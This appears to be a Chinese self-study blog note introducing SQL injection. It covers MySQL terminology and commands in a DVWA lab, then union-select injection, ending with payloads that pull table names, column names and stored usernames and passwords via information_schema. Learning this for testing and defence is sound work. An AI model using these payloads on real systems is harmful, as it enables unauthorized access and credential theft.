这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章
自学sql注入(二)
自学sql注入(三)
库:database,在数据库里面的数据的集合
表:table,隶属于某个库,在数据库里面以表格形式存在
列:column,表中竖着的内容
行:row,表中横着的内容
值:value,在表格中每个表格内的值
键:key,值的一种形式,在整个表内是独一无二没有重复的,用来精确匹配对应的值
表头:field,横着的第一排,用来表示各个列的名
在phpstudy里面进入mysql数据库查看,进入数据库:
先输入:mysql -u root -p 回车
再输入:root
mysql内的操作以分号 ; 结尾,一定要记得打
show databases; 查看当前所有的库
use dvwa; 进入dvwa的库
show tables; 查看dvwa库里面的表
desc users; 查看users表的表头信息
对数据的操作
select 查询数据,insert用于添加数据,update用于修改数据,delete用于删除数据
select user_id,user,password from users; //查看users表中,user_id,user,password列中的数据
delete from users where user_id=1; //删除user_id=1对应的行里面的值
insert into tabb (id,username,password) value (4,'test','test'); //在tabb表中插入表头为id,username,password的数据
update tabb set password='111111' where id=4; //修改tabb表里id为4的password的值为111111
原理:开发者对输入校验不严格,导致攻击者可以输入精心构造的sql语句,使之带入到数据库内与原有的语句进行拼接,继而改变原有的语义去执行攻击者想要执行的语句。
select username,password from tabb where id=1 and 1=2; //改变了数据库原有的查询
这就说明这里存在一个sql注入点
而sql注入有什么用?
1、获取敏感信息
2、获取服务器权限
从基础的union select(联合查询)注入说起:
1、union查询的要点是子查询的列数要与主查询列数一致;
2、使用order by 来确定主查询列数,order by本意是对主查询列进行排序,但是如果数字大于正确列数就会报错,小于或等于会正常显示。
3、确定后使用1,2,3,4,5…的数字来确定页面显示的位置;
4、在对应显示位置的数字上输入payload获得查询结果。
mysql中有几个默认的表达式,database(),user(),version(),分别表示当前数据库名,当前数据库用户,当前数据库版本
在mysql中有一个information_schema的库,里面存放了所有表的内容信息
-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),3
// 查询出当前的表
-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),3
//查询出当前所有列名
-1 union select 1,(select username from tabb where id=1),(select password from tabb where id=1)
// 知晓列名和表名,就可以轻松查出所有的内容